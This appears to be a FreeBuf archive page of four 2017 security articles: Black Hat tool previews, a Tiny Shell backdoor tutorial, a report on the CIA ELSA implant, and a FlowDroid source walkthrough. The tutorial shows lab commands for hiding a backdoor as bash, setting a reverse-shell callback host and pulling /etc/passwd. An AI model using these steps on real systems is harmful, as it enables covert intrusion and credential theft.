月度归档:2017年06月

剧透Black Hat 2017将要发布的8款安全工具

剧透Black Hat 2017将要发布的8款安全工具

举世瞩目的Black Hat 2017即将于7月22-27日,在美国的拉斯维加斯盛大举行。作为信息安全方面的顶级会议,每年Black Hat都会带给我们许许多多的惊喜。从黑客大咖到全球顶级安全企业都将使出他们的浑身解数,为我们展示他们最新的技术研究成果。

而在上届新增的展示环节“Black Hat兵工厂”,则成为了众多工具爱好者最为期待的环节。那么在本届Black Hat的工具展示环节,将会为我们带来什么样的先进技术呢?为了不吊大家的胃口,下面我将为大家提前预告即将在本届Black Hat上发布的8款安全工具,让我们先睹为快。

GitPwnd

展示嘉宾:NCC集团的Clint Gibler和Noah Beddome。演讲议题:《Developing Trust and Getting Betrayed

剧透Black Hat 2017将要发布的8款安全工具

信任是开展业务的一个重要基础。例如我们要信任我们的员工,同行和他们的技术。对这些不同的信任关系缺乏适当的管理或理解,就会无意中带来新的安全隐患,而GitPwnd就可以让我们利用他们之间的信任关系。GitPwnd是一款旨在渗透测试人员侵入计算机,并具有跨越开发环境能力的安全工具。在实际生产中,这些环境往往都具有严格的网络分段和日志记录。防御性工具通常会查找与正常用户行为不同的进程活动和时间。而GitPwnd会自己插入到共同的开发工作流中,从而可以较i好的避开这些检测。

Sandsifter

展示嘉宾:Battelle Memorial研究所的Christopher Domas。演讲议题:《Breaking the x86 Instruction Set

剧透Black Hat 2017将要发布的8款安全工具

该工具旨在帮助安全测试人员探测处理器的弱点。Domas将在一场演讲中发布该工具,该演讲将详细介绍可以筛选x86指令集,并查硬件故障和相关软件漏洞的处理器fuzz技术。

AVPASS

展示嘉宾:Jinho Jung,Chanil Jeon,Max Wolotsky,Insu Yun和Georgia Tech的Taesoo Kim。演讲议题:《AVPASS: Leaking and Bypassing Antivirus Detection Model Automatically

剧透Black Hat 2017将要发布的8款安全工具

佐治亚理工大学英特尔科学技术中心(ITSC-ARSA)的研究人员,将向人们展示如何突破基于算法分析检测的安全防护。他们将发布一款名为AVPASS的工具,这款工具可以有效地窥探Android反恶意软件检测模型,并将 Android恶意软件伪装成一款安全的应用程序。

WSUSpendu

展示嘉宾:Romain Coltel和Yves Le Provost。演讲议题:《WSUSpendu: How to Hang WSUS Clients

剧透Black Hat 2017将要发布的8款安全工具

如果你可以拿到一台域环境下的WSUS服务器并取得管理员权限,则WSUSpendu会给你更多的惊喜。该脚本是由法国研究人员开发的,有了它渗透测试人员可以自主创建恶意更新,并将其注入到WSUS服务器数据库中随意的分发这些恶意更新。这些恶意更新甚至还可能被分发给那些与网络隔离的系统,威力可见一斑。

Data Exfiltration Through Cloud AV Sidechannel

展示嘉宾:Amit Klein和Itzik Kotler。演讲议题:《The Adventures of AV and the Leaky Sandbox

剧透Black Hat 2017将要发布的8款安全工具

云查杀技术给我们带来了更好的安全保障,但Klein和Kotler即将发布的这款工具将为大家展示,这方面仍然存在着巨大的安全隐患。端点和云之间使用的连接也可被操纵,并实施边信道攻击。他们将借助该款工具将为大家展示“渗漏(exfiltration)”技术,即使是在有着严格出口过滤保护的高安全性端点,也能成功实施攻击。

GoFetch

展示嘉宾:独立研究员Tal Talie和微软的Tal Maor。演讲议题:《The Industrial Revolution of Lateral Movement

剧透Black Hat 2017将要发布的8款安全工具

GoFetch是一个自动执行BloodHound应用程序生成的攻击计划的工具。 该工具首先会加载由BloodHound生成的本地管理员用户和计算机的路径,并将其转换为自己的攻击计划格式。一旦攻击计划准备就绪,根据计划GoFetch会逐步向目标渗透,并应用远程代码执行技术,通过Mimikatz获取目标系统的用户凭证。

CDF

展示嘉宾:来自Kudelski安全的Jean-Philippe Aumasson和Yolan Romailler。演讲议题:《Automated Testing of Crypto Software Using Differential Fuzzing

剧透Black Hat 2017将要发布的8款安全工具

他们演示并发布了不同的,可以检测通用加密API中漏洞的fuzz工具,其中包括RSA加密,elyptic-curve加密和对称密钥方案。

Electronegativity

展示嘉宾:Doyensec的Luca Carettoni。演讲议题:《Electronegativity – A Study of Electron Security

剧透Black Hat 2017将要发布的8款安全工具

随着本地桌面应用程序的卷土重来,Github的Electron跨平台桌面应用开发框架也越来越受欢迎。而Electronegativity可以帮助渗透测试人员审计,基于Electron开发的应用中常见的设计级漏洞和实现错误。Electronegativity将会作为Electron安全模型全面讨论的一部分进行发布。

*参考来源:darkreading,FB小编 secist 编译,转载请注明来自FreeBuf.COM

短小精干的Unix类后门Tiny shell的使用与分析

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00. 简介

Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)

短小精干的Unix类后门Tiny shell的使用与分析

分为客户端和服务端,支持正向连接模式(即服务端在远程运行,hacker远程直接链接),和反弹连接模式(hacker在自己服务器监听,服务端链接hacker监听端口)

功能:

通信加密

支持上传、下载、直接反弹shell

下载地址:https://github.com/orangetw/tsh

具体使用与分析见下文

0×01. 使用与分析

源码很少,非常精简

短小精干的Unix类后门Tiny shell的使用与分析

一、正向连接模式使用与分析

I、编译前,你需要做以下设置

1. 修改tsh.h中的secret的值

secret 的值用于加密 控制端和被控端之间通信的数据

和后门的所有的通信信息都会被AES加密

短小精干的Unix类后门Tiny shell的使用与分析

编译之后,客户端和服务端都会硬编码这个secret,用于解密数据

2. 修改tsh.h中的SERVER_PORT值

SERVER_PORT是后门运行后监听的端口

3. 修改tsh.h中的FAKE_PROC_NAME值

FAKE_PROC_NAME 是用于伪装显示后门运行后的进程名字,比如这里设置为/bin/bash, 那么后门运行后,用ps -ef 或者netstat 查看,则显示的执行程序是/bin/bash ,如下图所示

短小精干的Unix类后门Tiny shell的使用与分析

4. 注释掉 如下两行代码

//#define CONNECT_BACK_HOST  "10.1.100.3"

//#define CONNECT_BACK_DELAY 30

这两行注用于设置反弹链接模式,下面再介绍

修改好后的示例如下:

短小精干的Unix类后门Tiny shell的使用与分析

编译

make linux

make 后面跟的是系统类别,这里以linux为例

短小精干的Unix类后门Tiny shell的使用与分析

编译成功后,tsh为客户端,tshd为服务端

II、运行前的工作

1. 执行以下命令

umask 077; HOME=/var/tmp 

umask设置是为了运行后的后门shell环境而设置,后门shell所有创建的文件只有后门shell进程属主有权限,其他都没权限

2. 修改tshd 为你要伪装显示的进程名字

这里修改成bash

mv tshd bash

如果不修改的话,直接运行后门进程,则使用lsof -i:8080 查看, COMMAND不会显示为tsh.h设置的伪装的进程名字

短小精干的Unix类后门Tiny shell的使用与分析

所以这里要修改一下可执行文件名字

然后再运行一下,执行lsof -i:8080 发现COMMAND变成了bash,这样迷惑性会更大一些

短小精干的Unix类后门Tiny shell的使用与分析

3. 将后门文件移动至 /usr/sbin (当然也可移动到其他隐秘的地方,这里以/usr/sbin举例)

如果想要更加具有欺骗性的话,则需要把后门文件移动至/usr/sbin (系统自带的bash位于/bin/bash 和 /usr/bin/bash)

如果不移动的话,使用pwdx 进程ID 可以查看到后门进程所在的执行目录

短小精干的Unix类后门Tiny shell的使用与分析

移动到/usr/sbin之后,再运行,然后用pwdx 查看

短小精干的Unix类后门Tiny shell的使用与分析

显示在/usr/sbin, 欺骗性增加一些

III、运行使用

1. 直接获取被控端shell

服务端运行 (被控端. IP: 10.1.100.3, kali系统)

/usr/sbin/bash

 注: 服务端运行后,其父进程PID是1,也就是说这个进程是守护进程除非重启系统,或者手动关闭,否则一直存在(当然你也可以加入启动项,或者加入任务计划中)

短小精干的Unix类后门Tiny shell的使用与分析

客户端(控制端 10.1.100.2)

./tsh 10.1.100.3 

但是执行之后,没反应,并没有返回远端的shell,奇怪,我未将tshd移动到/usr/sbin下保存为bash 是没事的,一切OK,测试正常,但是将tshd移动到/usr/sbin/bash 之后,客户端就链接不上,我决定查查代码, 查了一会儿,在tsh.c的236行找到了问题的原因

短小精干的Unix类后门Tiny shell的使用与分析

这里直接调用系统命令bash,而被控端的环境变量PATH值为:

/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/jdk1.8/bin:/usr/local/jdk1.8/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/apache-ant-1.10.1/bin:/usr/local/gradle/bin

/usr/sbin 先于 /usr/bin/bash 和/bin/bash找到bash命令 ,于是我们知道我们执行了假的bash(就是我们自己的后门程序),所以这里解决办法就是修改源码,显示指定要执行命令的路径

短小精干的Unix类后门Tiny shell的使用与分析

重新编译执行,然后客户端再次连接

./tsh 10.1.100.3 

短小精干的Unix类后门Tiny shell的使用与分析

成功,OK

2. 下载文件

除了可以直接连接上去外,这个后门还可以下载和上传文件

下载远程的/etc/passwd文件到当前目录

./tsh 10.1.100.3 get /etc/passwd .

短小精干的Unix类后门Tiny shell的使用与分析

3. 上传文件到远程被控端

上传

./tsh 10.1.100.3 put stop_fw.sh /tmp

短小精干的Unix类后门Tiny shell的使用与分析

远程查看上传成功

短小精干的Unix类后门Tiny shell的使用与分析

二、反向连接模式使用与分析

反向链接适用于被控制端位于防火墙后面,不允许外面直接连接,这就需要被控端从里从外主动连接

编译前的准备工作和 编译正向连接模式类似,不过 需要将如下两行去掉注释,即去掉//

#define CONNECT_BACK_HOST  "10.1.100.3"

#define CONNECT_BACK_DELAY 30

CONNECT_BACK_HOST 表示反向连接的主机(就是被控端主动要连接的控制端的IP)这里设置反向连接的主机是10.1.100.3  (kali 这里变成了控制端了)

CONNECT_BACK_DELAY 表示隔多久尝试连接控制端一次 (被控端会一直不断循环,尝试连接控制端, 见下图代码,while 死循环)

短小精干的Unix类后门Tiny shell的使用与分析

位于被控端的后门运行之后,会一直尝试连接控制端 (下图为实际抓包)

短小精干的Unix类后门Tiny shell的使用与分析

1、编译

make linux

2、在控制端执行监听

./tsh cb

cb 表示反向监听模式

短小精干的Unix类后门Tiny shell的使用与分析

*本文原创作者:fnpimr43017,本文属FreeBuf原创奖励计划,未经许可禁止转载

将tshd 上传到被控端,重命名为bash,移动至/usr/sbin/bash 

3、被控端执行后门 (10.1.100.2 )

/usr/sbin/bash 

查看后门进程信息

短小精干的Unix类后门Tiny shell的使用与分析

被控端进程也是守护进程,PID为3082

大约30秒后(这个等待时间可在编译时设置,见上文),被控端shell就反弹到了控制端

短小精干的Unix类后门Tiny shell的使用与分析

然后此时查看被控端相关和后门相关进程信息:

短小精干的Unix类后门Tiny shell的使用与分析

其中 -bash 是真实的bash进程

这里的PID为3082、3147都是后门守护进程,伪装成了’/bin/bash’, PID为3148的进程是后门守护进程执行系统命令exec /bin/bash –login 反弹出来的shell进程

解释一下反弹shell之后,这里为什么会又出现一个守护进程(也就是pid为3147的进程)

回到最开始

执行后门 /usr/sbin/bash 

执行之后,主进程会fork一个子进程(上面已经提到),父进程退出,这样fork出来的子进程就会成为孤儿进程被init托管(也就是pid为3048的进程)

当PID 为3048的这个进程成功连接上控制端监听的端口之后,则又fork一个进程用(姑且称之为子进程2)于处理建立好的连接(tshd.c代码 211行开始)

短小精干的Unix类后门Tiny shell的使用与分析

子进程2 又会新fork一个子进程(称之为子进程3),然后子进程2退出,子进程3成为孤儿进程,被init托管,成为守护进程,子进程3是真正用户处理连接后的交互

0×02. 总结

总的来说,Tiny shell 是一款非常不错的后门,体积小,功能够用,而且通信加密,源码也不是很复杂,大家有空可自行研究。

*本文原创作者:dapzxb41693,本文属FreeBuf原创奖励计划,未经许可禁止转载

CIA Vault7 系列后续:新工具“Elsa”可通过WiFi对用户进行定位

6月28日,维基解密发布了第十二款来自CIA的新工具—— ELSA 的说明文档。这款工具可以通过 WiFi 进行目标用户的地理位置定位,甚至在用户计算机 WiFi 离线状态也可进行定位。目前公开的这份文档依旧属于 Vault 7 系列文档的一部分。FreeBuf 此前也报道过 Vault 7 系列的多款框架和工具,如 Cherry Blossom ,Athena 等等。该系列文件据称均是从 CIA 黑客和内部使用者处窃取出来的。

如果目标设备连接上了网络,恶意程序就会自动尝试使用谷歌或微软的公共地理位置数据库进行地理位置匹配,并将经纬度数据及时间戳一起保存下来。—— WikiLeaks

CIA Vault7 系列后续:新工具“Elsa”可通过WiFi对用户进行定位

ELSA 工具主要针对具备 WiFi 功能的 Windows 设备,可以通过附近的 WiFi 网络接入点的 ESS (Extended Service Set)数据匹配地理信息数据库后定位用户的位置。此次维基解密发布的 42 页文档说明中,将该工具的名字定为 ELSA 。文档手册中包含了一张图片,用以解释 CIA 人员是如何使用这个工具的。具体的操作步骤也可以从图中获知:

CIA Vault7 系列后续:新工具“Elsa”可通过WiFi对用户进行定位

使用方法

第一步

CIA人员需要根据目标环境配置 ELSA 恶意软件。这个过程主要通过“ PATCHER wizard ”完成,该工具生成 ELSA payload (一个简单的 DLL 文件)。目标环境变量包括如下:

目标处理器架构(x86 还是. x64)

所需模式(dllhost, svchost, rundll32 还是 appinit)

所需地理位置提供商(Microsoft 还是 Google)

所需最大的 log 文件大小

是否通过目标的AP列表解析地理位置

CIA Vault7 系列后续:新工具“Elsa”可通过WiFi对用户进行定位

Sample ELSA config

第二步

CIA 人员需要在目标用户的 Win 计算机上部署 ELSA  。由于 ELSA 是植入式的恶意程序,所以 CIA 人员很可能是通过使用其他 CIA 入侵工具和漏洞来将该恶意程序植入到目标 PC 上的。

第三步

ELSA 随后按照计划开始收集 WiFi 接入点信息,即便用户断开与 WiFi 的连接,ELSA 也是可以收集数据的。

ELSA 通过扫描附近的网络收集 ESS 信息。ESS 数据则包含了 MAC 地址,SSID 等信息。这些信息存储在本地 log 文件中,使用 128AES 进行加密。

第四步

当目标用户连接上网络,ELSA 则会使用收集到的 WiFi 数据,并利用第三方的数据库进行地理信息位置的匹配。

每一个 ESS 信息都对应着一个地理位置,这个数据就能够让 CIA 的相关人员追踪该用户大致的地理位置。

而第三方库则是来自 Google 或微软,他们使用地理信息进行浏览器的追踪定位。

第五步

CIA 人员连接到目标用户电脑获取到 ELSA log 文件。这一步依旧是使用植入 ELSA 的工具实现的,当然,也可以使用其他工具。

第六步

CIA 人员解密 log 文件,继续分析目标用户获取所需结果。有时可能为了提升查询的准确度,他们会使用其他的EES地理位置数据库来进行重复查询。

ELSA 文档下载地址点这里

Vault 7 系列文件一览

目前的这份文档说明依旧是 Vault7 系列文档的一部分,改系列文件据称是从 CIA 黑客和内部使用者处窃取出来的。下面是目前已经公开的 Vault7 系列工具及公开日期:

ELSA malware – 6 月 28 日, 2017

Cherry Blossom – 6 月 15 日, 2017

Pandemic – 6 月 1 日, 2017

Athena – 5 月 19 日, 2017

AfterMidnight – 5 月 12 日, 2017

Archimedes – 5 月 5 日 , 2017

Scribbles – 4 月 28 日 , 2017

Weeping Angel – 4 月 21 日, 2017

Hive – 4 月 14 日, 2017

Grasshopper – 4 月 7 日, 2017

Marble Framework – 3 月 31 日, 2017

Dark Matter – 3 月 23 日, 2017

*参考来源:securityaffairs,bleepingcomputer,securityweek,Elaine编译,转载请注明FreeBuf.COM

Android污点分析工具flowdroid源码简析

flowdroid是一款对Android app进行风险分析的应用,下面深入其源码对其工作的流程进行相关的探究。

1、准备

a)下载相关源码(包括soot、heros、jasmin、soot-infoflow、soot-infoflow、soot-infoflow-android)到同一文件夹中,使用eclipse将源码依次导入就完成了整体项目的导入,尽量使用最新版eclipse,如果版本太老,导入后可能会出现各种问题;完成导入后整体项目结构如下所示:

Android污点分析工具flowdroid源码简析

b)本次测试使用的APK是flowdroid本身提供的一个apk:enriched1.apk,位于soot-infoflow-android/testAPKs目录下,该应用包含一个主Activity,下图展示了Mainfest.xml文件的具体内容:

Android污点分析工具flowdroid源码简析

主要的操作是在主Activity的onCreate方法中获取设备ID(DeviceId)然后通过短信的形式发送出去,使用Jimple代码表示如下:

$r6 = virtualinvoke $r4.<android.telephony.TelephonyManager: java.lang.String getDeviceId()>() 
virtualinvoke $r10.<android.telephony.SmsManager: void sendTextMessage(java.lang.String,java.lang.String,java.lang.String,android.app.PendingIntent,android.app.PendingIntent)>($r6, $r11, $r12, $r13, $r14)

c)source(风险产生点)与sink(风险触发点)点,使用flowdroid源码中提供的:SourceAndSink.txt,位于soot-infoflow-android根目录下;下面展示本次使用的source点、sink点,从中可以看出source、sink的定义不仅包含了Jimple格式的方法声明,也包含了调用该方法需要声明的权限,从上图的Manifest文件中可以看出,这两个方法需要使用的权限均已声明;

<android.telephony.SmsManager: void sendTextMessage(java.lang.String,java.lang.String,java.lang.String,android.app.PendingIntent,android.app.PendingIntent)> android.permission.SEND_SMS -> _SINK_ 
<android.telephony.TelephonyManager: java.lang.String getDeviceId()> android.permission.READ_PHONE_STATE -> _SOURCE_

d)回调函数(执行某些回调操作将调用的函数)使用soot-infoflow-android根目录下的AndroidCallbacks.txt;

e)污染易传播点,表示当source(风险产生点)经过该函数后,新产生的变量将会成为新的source点,如list = List.add(source1),list将会成为新的source源;该文件使用soot-infoflow根目录下的EasyTaintWrapperSource.txt文件;

f)本地运行的主函数位于soot-infoflow-android/src/soot.jimple.infoflow.android.TestApps目录下的Test.java文件中,在Run Configurations中配置待扫描apk文件地址及android.jar目录地址,配置详情如下图所示:

Android污点分析工具flowdroid源码简析

至此一切配置就绪,点击上图Run按钮运行,就会看到flowdroid运行起来了,经过不到一分钟(这是demo的时间,复杂的应用就呵呵吧)的分析,就能够看到运行输入的结果,先来一张运行结果图:

Android污点分析工具flowdroid源码简析

由于结果太长,不能完全展示结果的内容,下面将结果拷贝下来,用文字进行展示:

Found a flow to sink virtualinvoke $r10.<android.telephony.SmsManager: void sendTextMessage(java.lang.String,java.lang.String,java.lang.String,android.app.PendingIntent,android.app.PendingIntent)>($r6, $r11, $r12, $r13, $r14), from the following sources:

- $r6 = virtualinvoke $r4.<android.telephony.TelephonyManager: java.lang.String getDeviceId()>() (in <de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onCreate(android.os.Bundle)>)

Maximum memory consumption: 141.144008 MB

Analysis has run for 5.030271649 seconds

至此我们已经完成了项目导入及运行一个demo程序,下面正式进入源码的分析。

2、收集source点、sink点、入口点(Entrypoint)

这个题目是根据执行的第一个关键函数(如下)取的,但是这个函数实际的作用其实有一些名不副实,该函数位于soot-infoflow-android/src/soot.jimple.infoflow.android.TestApps/Test.java的642行:

app.calculateSourcesSinksEntrypoints("SourcesAndSinks.txt");

从main()函数的起始点到该函数之间的一些操作,主要是变量初始化、赋值的一些操作,在此不再详述;进入该函数,该函数主要进行一个操作,根据source、sink文件定义类型,对文件中的内容进行提取,然后进入calculateSourcesSinksEntrypoints(parser)函数,其参数parser就是对source、sink点进行解析后的变量,解析函数:

parser = PermissionMethodParser.fromFile(sourceSinkFile)

这个函数是对txt文件进行解析;进入calculateSourcesSinksEntrypoints这个函数,大致浏览下该函数,函数应该是这个本次操作的主函数,对其操作进行拆解,首先执行操作的代码如下所示:

  ProcessManifest processMan = new ProcessManifest(apkFileLocation);

  this.appPackageName = processMan.getPackageName();

  this.entrypoints = processMan.getEntryPointClasses();

上面代码的主要作用是反编译并解析该APK的Manifest.xml文件,生成变量processMan,获取其packagename并赋值给this.appPackageName=”de.ecspride.reflectionprivacyleak1″,并获取其程序的入口点,Android应用的入口点实际上就是其定义的四大组件(Activity、Broadcast、Provider、Service),此应用只定义了一个Activity,因此

this.entrypoints=[de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1];

然后使用ARSCFileParser类反编译apk文件,并赋值给变量resParser,然后进入calculateCallbackMethods(resParser, lfp)函数,其参数resParser表示刚反编译的apk文件,lfp表示对布局文件的反编译,属于类LayoutFileParser,进入calculateCallbackMethods函数,首先看到的就是对soot的一些操作,如下所示:

soot.G.reset();

initializeSoot(true);

createMainMethod();

第一个语句soot.G.reset()是一个标准的soot操作,用于清空soot之前所有操作遗留下的缓存值,后面的代码中将会多次使用该操作;

第二个语句initializeSoot(true)的完整函数如下所示,参数true表示是否构建程序调用图(控制流图);该函数主要作用是反编译.dex文件,反编译生成jimple文件,为查看方便,函数的说明将会在代码注解中详细给出;

private void initializeSoot(boolean constructCallgraph) {

      //相当于soot命令:-no-bodies-for-excluded,表示不加载未被包含的类

      Options.v().set_no_bodies_for_excluded(true);

      //相当于soot命令:-allow-phantom-refs,表示是否加载未被解析的类

      Options.v().set_allow_phantom_refs(true);

      //相当于soot命令:-f FORMAT -output-format FORMAT,设置输出的格式,此处设置为不输出,因此不会输出反编译后的jimple文件

      Options.v().set_output_format(Options.output_format_none);

      //相当于soot命令:-w -whole-program,以全局应用的模式运行

      Options.v().set_whole_program(constructCallgraph);

      //相当于soot命令:-process-path DIR -process-dir DIR,待反编译文件所在的文件夹,此处是apk文件地址

      Options.v().set_process_dir(Collections.singletonList(apkFileLocation));

      if (forceAndroidJar)

         //相当于soot命令:-android-jars PATH,表示在该路径下寻找android.jar文件

         Options.v().set_force_android_jar(androidJar);

      else

         //相对于soot命令:-force-android-jar PATH,表示强制在该路径下寻找android.jar文件

         Options.v().set_android_jars(androidJar);

      //相当于soot命令:-src-prec FORMAT,表示反编译后文件的生成文件类型,此处为jimple类型

      Options.v().set_src_prec(Options.src_prec_apk_class_jimple);

      //是否记录代码所在行

      Options.v().set_keep_line_number(false);

      //是否记录代码偏移量

      Options.v().set_keep_offset(false);

      

      //设置上述另一的变量类型,该设置需要保证在soot反编译之前进行

      if (sootConfig != null)

         sootConfig.setSootOptions(Options.v());

      

      Options.v().set_soot_classpath(getClasspath());

      Main.v().autoSetOptions();

      

      // 构建控制流图选项,默认是SPARK

      if (constructCallgraph) {

         switch (config.getCallgraphAlgorithm()) {

         case AutomaticSelection:

         case SPARK:

            Options.v().setPhaseOption("cg.spark", "on");

            break;

         case GEOM:

            Options.v().setPhaseOption("cg.spark", "on");

            AbstractInfoflow.setGeomPtaSpecificOptions();

            break;

         case CHA:

            Options.v().setPhaseOption("cg.cha", "on");

            break;

         case RTA:

            Options.v().setPhaseOption("cg.spark", "on");

            Options.v().setPhaseOption("cg.spark", "rta:true");

            Options.v().setPhaseOption("cg.spark", "on-fly-cg:false");

            break;

         case VTA:

            Options.v().setPhaseOption("cg.spark", "on");

            Options.v().setPhaseOption("cg.spark", "vta:true");

            break;

         default:

            throw new RuntimeException("Invalid callgraph algorithm");

         }

      }

      //使用soot反编译dex文件,并将反编译后的文件加载到内存中

      Scene.v().loadNecessaryClasses();

   }

初始化soot完成后,进入第三个语句createMainMethod(),其代码如下所示;其主要的操作是构造一个虚拟的main方法,并将入口点(entrypoint)相关类添加到这个虚方法中;

private void createMainMethod() {

      // Always update the entry point creator to reflect the newest set

      // of callback methods

      SootMethod entryPoint = createEntryPointCreator().createDummyMain();

      Scene.v().setEntryPoints(Collections.singletonList(entryPoint));

      if (Scene.v().containsClass(entryPoint.getDeclaringClass().getName()))

         Scene.v().removeClass(entryPoint.getDeclaringClass());

      Scene.v().addClass(entryPoint.getDeclaringClass());

      

      // addClass() declares the given class as a library class. We need to

      // fix this.

      entryPoint.getDeclaringClass().setApplicationClass();

   }

此处在将entrypoint塞入虚拟main方法中的时候,由于entryponit是Android的四大组件,因此在塞入main方法中的时候需要对组件进行建模,建模的方法是根据组件的生命周期(onCreate、onStart、onResume、onPause、onStop、onRestart、onDestory),依次塞入其相关的方法,下面给出生成的dummyMainMethod方法主体函数,可以从中感受下。

public static void dummyMainMethod(java.lang.String[])

    {

        java.lang.String[] $r0;

        int $i0;

        de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1 $r1;

        $r0 := @parameter0: java.lang.String[];

        $i0 = 0;

     label1:

        if $i0 == 0 goto label5;

        $r1 = new de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1;

        specialinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void <init>()>();

        if $i0 == 1 goto label5;

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onCreate(android.os.Bundle)>(null);

     label2:

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onStart()>();

     label3:

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onResume()>();

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onPause()>();

        if $i0 == 3 goto label3;

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onStop()>();

        if $i0 == 4 goto label4;

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onRestart()>();

        if $i0 == 5 goto label2;

     label4:

        virtualinvoke $r1.<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onDestroy()>();

     label5:

        if $i0 == 7 goto label1;

        return;

    }

接下来便是进行回调函数的收集,主要的操作函数如下所示:

  for (Entry<String, Set<SootMethodAndClass>> entry : jimpleClass.getCallbackMethods().entrySet()) {

            Set<SootMethodAndClass> curCallbacks = this.callbackMethods.get(entry.getKey());

            if (curCallbacks != null) {

               if (curCallbacks.addAll(entry.getValue()))

                  hasChanged = true;

            } else {

               this.callbackMethods.put(entry.getKey(), new HashSet<>(entry.getValue()));

               hasChanged = true;

            }

      }

      

      if (entrypoints.addAll(jimpleClass.getDynamicManifestComponents()))

         hasChanged = true;

   }

   // Collect the XML-based callback methods

   collectXmlBasedCallbackMethods(resParser, lfp, jimpleClass);

其操作是遍历entrypoint,然后将entry中的回调函数添加到this.callbackMethods变量中,这里执行的函数在else中,添加到this.callbackMethods中的值为:

{de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1=

[<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onStart()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onDestroy()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onPause()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onRestart()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onResume()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onStop()>, 

<de.ecspride.reflectionprivacyleak1.ReflectionPrivacyLeak1: void onCreate(android.os.Bundle)>]},

从中可以看出添加的回调函数主要是该Activity生命周期中的函数,这样在上面生成的虚main方法调用到onCreate这些方法时,就会到this.callbackMethods中寻找相关的方法;随后还会进入xml文件中分析相关的回调函数,这里没有涉及。

calculateCallbackMethods(resParser, lfp)函数执行完成后,跳转回calculateSourcesSinksEntrypoints()函数,至此完成了对Entry point、回调函数的收集,下一步就是完成source、sink的收集,这一步的操作并不涉及soot的相关操作,只是将SourceAndSink.txt文件中包含的source、sink点,封装到sourceSinkManager中,具体在代码中搜索source、sink点,在数据流追踪中完成;

      {

         Set<SootMethodAndClass> callbacks = new HashSet<>();

         for (Set<SootMethodAndClass> methods : this.callbackMethods.values())

            callbacks.addAll(methods);

         sourceSinkManager = new AccessPathBasedSourceSinkManager(

               this.sourceSinkProvider.getSources(),

               this.sourceSinkProvider.getSinks(),

               callbacks,

               config.getLayoutMatchingMode(),

               lfp == null ? null : lfp.getUserControlsByID());

         sourceSinkManager.setAppPackageName(this.appPackageName);

         sourceSinkManager.setResourcePackages(this.resourcePackages);

         sourceSinkManager.setEnableCallbackSources(this.config.getEnableCallbackSources());

      }

到此已经完成了第一步的操作,主要是做一些分析前的准备工作,包括收集入口点(entrypoint)、回调函数(callback)、source点、sink点,为后面的数据流分析做准备。

3、数据流分析

数据流的分析主要依赖heros工具,可能大家有些时候对heros、jasmin与soot的关系理不大清,heros、jasmin是基于soot开发的工具,相当于soot的插件,不能独立运行,因为没有自己的main调用方法,目前下载最新版的编译后的soot.jar里面默认是包含这两个工具的。

上面进行初步的分析工作,下面将正式进行数据流的分析,即执行完Test.java/runAnalysis()方法的642行app.calculateSourcesSinksEntrypoints(“SourcesAndSinks.txt”)后,继续向下执行,然后执行到数据流分析的入口点,651行:

final InfoflowResults res = app.runInfoflow(new MyResultsAvailableHandler()),

进入runInfoflow()函数,函数的前半部分主要进行一些赋值、初始化的操作,其中比较重要的是实例化一个info变量,该变量是Infoflow类的实例对象,然后使用info.computeInfoflow(apkFileLocation, path, entryPointCreator, sourceSinkManager)进行实际的分析,四个参数的含义为:

   apkFileLocation:待分析apk文件的地址;

   path:android.jar文件的地址,用于后面反编译使用;

   entryPointCreator:前面获得的应用的入口函数;

   sourceSinkManager:从SourceAndSink.txt文件中获取的source点与sink点,一共包括89个source点、133个sink点;

进入该函数,其代码如下所示,从diamante中可以看出,其操作跟2中的操作相类似:初始化soot,然后构造虚拟main方法并设置为入口点,最后使用runAnalysis()方法进行分析。

 public void computeInfoflow(String appPath, String libPath,

         IEntryPointCreator entryPointCreator,

         ISourceSinkManager sourcesSinks) {

      if (sourcesSinks == null) {

         logger.error("Sources are empty!");

         return;

      }

      initializeSoot(appPath, libPath, entryPointCreator.getRequiredClasses());

      // entryPoints are the entryPoints required by Soot to calculate Graph - if there is no main method,

      // we have to create a new main method and use it as entryPoint and store our real entryPoints

      Scene.v().setEntryPoints(Collections.singletonList(entryPointCreator.createDummyMain()));

      // Run the analysis

        runAnalysis(sourcesSinks, null);

   }

进入runAnalysis函数,首先第一个比较重要的操作就是使用soot构造控制流图:constructCallgraph();先进入该函数,为方便说明,将在代码中对关键部分进行注解;通过该方法生成控制流图(callgraph)后,获取控制流图变量:

CallGraph appCallGraph = Scene.v().getCallGraph();

控制流图在整个分析中非常关键,后面将有独立的章节介绍控制流图。

 protected void constructCallgraph() {

      // Allow the ICC manager to change the Soot Scene before we continue

      ipcManager.updateJimpleForICC();

      // Run the preprocessors

        for (PreAnalysisHandler tr : preProcessors)

            tr.onBeforeCallgraphConstruction();

        

        // Patch the system libraries we need for callgraph construction

        LibraryClassPatcher patcher = new LibraryClassPatcher();

